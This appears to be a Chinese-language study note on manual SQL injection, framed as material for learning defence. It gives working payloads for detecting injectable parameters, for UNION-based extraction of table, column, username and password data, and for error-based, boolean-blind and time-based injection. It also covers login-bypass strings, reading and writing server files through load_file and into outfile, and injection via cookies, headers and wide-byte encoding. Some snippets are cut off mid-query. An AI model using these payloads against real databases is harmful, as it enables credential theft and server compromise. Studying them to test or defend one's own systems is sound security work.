【笔记】SQL Injection 注入攻击
前言
手工SQL注入攻击学习笔记
本文仅用于网络信息防御学习
根据数据类型分类
- 数字型SQL注入
- 在注入时不需要考虑引号的闭合问题
- 字符型SQL注入
- 在注入时需要考虑引号的闭合问题
根据注入手法的分类
- UNION query SQL injection 联合查询(针对查操作)
- Error-based SQL injection 报错注入(针对查操作)
- Boolean-based blind SQL injection 布尔盲注(针对查操作)
- Time-based blind SQL injection 延时注入(针对查操作)
- Stacked queries SQL injection 堆叠查询(针对增删改操作)
根据注入原理的分类(GPC)
- GET数据
- POST数据
- Cookie数据
数据类型测试
- 操作:根据报错信息,判断1在数据库中存储时的数据类型
- 结论:当出现形如
'''
的报错信息时,判断该数字是以数值型数据存储在数据库中;当出现形如'1''
的报错信息时,判断该数字是以字符型数据存储在数据库中
1 | ?id=1' |
打断测试
- 操作:如果成对的括号被中断,同时使用注释打断后面的语句,就可以实现sql语句的控制
- 原理:php中定义sql语句时,会使用括号进行包裹从而定义sql语句为字符串
用于中断的mysql语句的php关键字:
'
、"
、)
、]
、}
、\
、/
、,
、.
用于打断后面语句的mysql注释关键字:#
(需要进行url编码)、--
'
用来打断被引号引起来的内容--
用来打断后面的sql语句
1 | ?id=1' -- |
注入手法测试
- 通过传递不同的参数,判断页面加载,测试出可以使用哪种手法注入
- 只要可以使用任意一种注入手法,就可以断定存在SQL注入漏洞
测试是否存在注入漏洞
- 操作:多次传递不同的数值判断页面是否有变化
- 原理:如果
id=
任何一个数,页面能被动态渲染不同的数据,说明参数变量传递成功
1 | ?id=1 |
测试结论
- 如果页面有变化,可以使用联合查询注入
- 如果页面没有变化,继续判断布尔测试结果
布尔测试
- 操作:通过两次传递能返回布尔值的语句,判断页面是否报错
- 原理:如果两次传递能返回布尔值的语句,发现页面不同,说明返回布尔值执行成功
1 | ?id=1 and 1=1 |
测试结论
- 如果有报错,可以使用报错注入
- 如果没有报错
- 如果两次页面不同,可以使用布尔盲注
- 如果两次页面相同,继续判断延时测试结果
延时测试
- 操作:通过传递包含
sleep()
函数的语句,判断页面是否延时显示(通过开发者工具的网络选项查看) - 原理:
sleep()
函数可以起到延时的效果,如果页面加载成功延时,说明sleep()
函数执行成功
<time>
:指定延时时间
1 | ?id=1 and sleep(<time>) |
测试结论
- 如果有报错,可以使用报错注入
- 如果没有报错
- 如果页面成功延时加载,可以使用延时注入
联合查询注入
原理:mysql的union语句,实际上是用来去重取交集的,特点是可以指定一个查询语句与前面的查询语句进行组合,得到结果,但要求是前后两组sql语句得到的列数相同
可以通过
union
后面指定的查询语句,实现覆盖前面的查询语句,得到自己想要的字段的内容,展示在页面上必要条件:两张虚拟的表具有相同的列数,虚拟表对应的列的数据类型相同
- 数值型可以自动转换成字符串类型
- 不满足必要条件时,可以使用子查询语句
基本语法
<select>
:查询语句
1 | <select_1> union <select_2> |
- 注意:Access数据库在使用查询语句时,必须使用
from <database_name>
关键字,而且数据库名必须存在
注入点个数测试
- 原理:mysql的order by语句,实际上是用来排序数据的,如果
order by
语句后有数字,表示根据第几个字段排序,当没有那个指定数量的字段时,会报错- 例如:
order by 2
,表示根据第2个字段进行数据的排序,如果没有第2个字段,则报错
- 例如:
- 所以可以通过
order by
语句,得到字段数量临界值- 例如:从
order by 1
开始测试,当执行到order by 3
时,页面报错,说明这个数据表只有2个字段,2就是临界值
- 例如:从
1 | ?id=1 and order by 1 |
- 也可以直接使用union语句测试注入点个数
- 当
select 1,2,...
不再报错时,表示注入点个数测试完成
- 当
- 将
id=1
改为其他不存在的id,这样才能展示union后面的select语句的内容;也可以使用布尔值为false的语句(例如1=2
)强制让union前面的select报错,从而展示union后面的select语句的内容
1 | ?id=-1 union select 1,2 |
注入点位置测试
- 在找到注入点个数后,可以开始注入点位置测试
- 通过查询数字1、数字2(根据注入点个数指定数字数量),在页面查看注入点的位置
- 原理:当union前面的查询语句值为假,则后面的查询语句会被执行
1,2
:直接展示在页面上的内容(根据注入点个数指定数字数量)
1 | ?id=-1 union select 1,2 |
通过注入点得到数据
- 根据注入点回显的位置,可以将能回显的注入点的编号,改为其他函数,获取其他信息
username
、password
:想要查询的字段名,也可以是sql函数,或其他子查询语句user
:想要查询数据表的表名
1 | ?id=-1 union select verison(),database() |
爆破数据库中的所有数据表名
table_schema
:指定数据库名的16进制数
0x
:0x后拼接16进制数,这个十六进制数是由想要查询的数据库的库名通过字符串转16进制数转换来的
concat()
:字符串拼接函数hex()
:字符串转换为十六进制函数database()
:获取数据库名函数group_concat()
:将一组字符串拼接为一个字符串,以逗号分隔
1 | ?id=1 and 1=2 union select |
爆破数据表的所有字段名
table_schema
:指定数据库名的16进制数table_name
:指定数据表名的16进制数
1 | ?id=1 and 1=2 union select |
爆破指定字段的数据内容
users
:想要查询的数据表名username
、password
:想要查询的字段名%20
:url编码后的空格字符串,用于分隔开展示的多条数据,防止混淆0x3a
:十六进制编码后的冒号字符串,用于分隔开展示的多条数据,防止混淆
1 | ?id=1 and 1=2 union select |
报错注入
- 在报错的回显中,插入敏感信息
重复键冲突报错
- 利用Mysql编号为#8652的bug,复现重复键冲突报错
- 这个漏洞存在一定几率
<select>
:查询语句1,concat(left(rand(),3),'^',(<select>),'^')a,count(*),3
:自己选择注入点
1 | # 网传版本 |
不同的SQL语句构造方式
<select>
:查询语句<select_field>
:指定想要查询的字段
1 | select concat(left(rand(),3),'^',(<select>),'^') x,count(*) from information_schema.tables group by x; |
XPATH报错
updatexml()
有3个参数,需要在第二个参数中注入
<select>
:查询语句
1 | ?id=1 and extractvalue(1,concat('^',(<select>), '^')) |
布尔盲注
- 通过构建布尔值的判断,盲猜敏感信息
猜测数据库名长度
1 | ?id=1 and length(database())=1 |
猜测数据库名每个字符的ascii码
1 | # 第一个字符 |
延时注入
- 盲猜敏感信息,利用
IF()
语句判断,将SLEEP()
语句作为IF()
语句的结果,通过判断页面是否延时加载,确定猜测是否正确
猜测数据库名长度
1 | # 如果猜对,延时5秒 |
登录框注入
万能密码
1 | 123456' or 1=1 |
利用Mysql的导入导出功能实现文件读写
- 前提
- Mysql配置了导入导出操作
- 当前用户具有文件读写权限
检测当前用户是否具有文件读写权限
1 | SELECT File_priv FROM mysql.user WHERE user='root' AND host='localhost'; |
文件读取
<file>
:想要读取的文件的路径,Windows下可以使用\\
分隔层级,*unix下可以使用/
分隔层级
1 | ?id=1 union select load_file('<file>') |
文件写入
<string>
:通过查询语句获取的字符串<file>
:想要写入的文件
1 | ?id=1 union select '<string>' into outfile '<file>' |
cookie注入
在Burp中可以拦截包含Cookie的请求,发送到Repeater模块,通过修改Cookie的内容实现注入
也可以使用前端的控制台,通过JS的
document.cookie=
代码,修改Cookie的内容实现注入Cookie中使用
#
作为注释
当代码中出现了编码
如果是GBK编码
1 | ?id=1%ff' |
base64注入
- 如果代码中出现了base64编码,需要重新将注入语句进行编码,然后再发送请求
其他位置的注入
User-Agent注入
- 如果代码中调用了User-Agent作为变量,可以在Burp中拦截包含user-agent的请求,发送到Repeater模块,通过修改User-Agent的内容实现注入
Referer注入
- 如果代码中调用了Referer作为变量,可以在Burp中拦截包含user-agent的请求,发送到Repeater模块,通过修改Referer的内容实现注入